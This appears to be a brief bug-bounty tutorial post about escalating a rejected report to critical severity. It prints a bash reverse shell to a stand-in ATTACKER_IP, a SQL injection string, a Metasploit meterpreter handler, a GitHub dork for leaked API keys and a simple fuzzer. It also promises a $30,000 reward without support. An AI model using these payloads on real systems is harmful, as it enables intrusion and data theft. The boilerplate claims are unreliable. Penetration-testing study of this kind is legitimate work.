How to Hack: From Rejected Bug to Critical Severity Exploit

Learn VAPT and Bug Bounty from free YT videos: https://lnkd.in/ggeMCxjb

You Should Know:

1. Initial Bug Rejection & Escalation

• Many bug bounty submissions get rejected due to insufficient PoC.
• Key Tip: Always provide detailed exploitation steps, including:
• Vulnerable endpoint
• Request/Response logs
• Impact analysis

2. Crafting a Winning PoC

• Use Burp Suite or OWASP ZAP to capture and modify requests:

  Example: Intercepting HTTP request with cURL 
  curl -X POST 'https://vulnerable-site.com/api/endpoint' -H 'Cookie: session=malicious_payload' --data '{"key":"exploit"}' 
  

• For Critical Severity, demonstrate:
• Remote Code Execution (RCE):

  Reverse shell payload (Linux) 
  bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 
  

• SQL Injection:

  ' OR 1=1-- - 
  

3. Re-evaluating Severity

• If marked as Medium, escalate by proving:
• Data exfiltration
• Privilege escalation
• Business impact

4. Tools for Bug Hunters

• Nmap for recon:

  nmap -sV -A target.com 
  

• Metasploit for exploitation:

  msfconsole 
  use exploit/multi/handler 
  set payload linux/x64/meterpreter/reverse_tcp 
  exploit 
  

• GitHub Dorking for exposed secrets:

  site:github.com "api_key" 
  

5. Automating with Python

• Simple HTTP Request Fuzzer:

  import requests 
  for i in range(1,100): 
  r = requests.get(f"https://target.com?id={i}") 
  if "error" in r.text: 
  print(f"Vulnerable ID: {i}") 
  

What Undercode Say

Bug bounty hunting requires persistence. A rejected report can turn into a Critical Severity with a solid PoC. Always:
– Document every step.
– Use legal boundaries.
– Leverage automation (Python/Bash).

Prediction

More platforms will enforce strict PoC requirements, pushing hunters to refine their exploitation techniques.

Expected Output

• A well-documented bug report.
• A $30,000 reward for Critical findings.
• Improved security for the target.

Relevant URL: Vishal Barot’s Bug Bounty YouTube

IT/Security Reporter URL:

Reported By: Vbvishalbarot Bugbounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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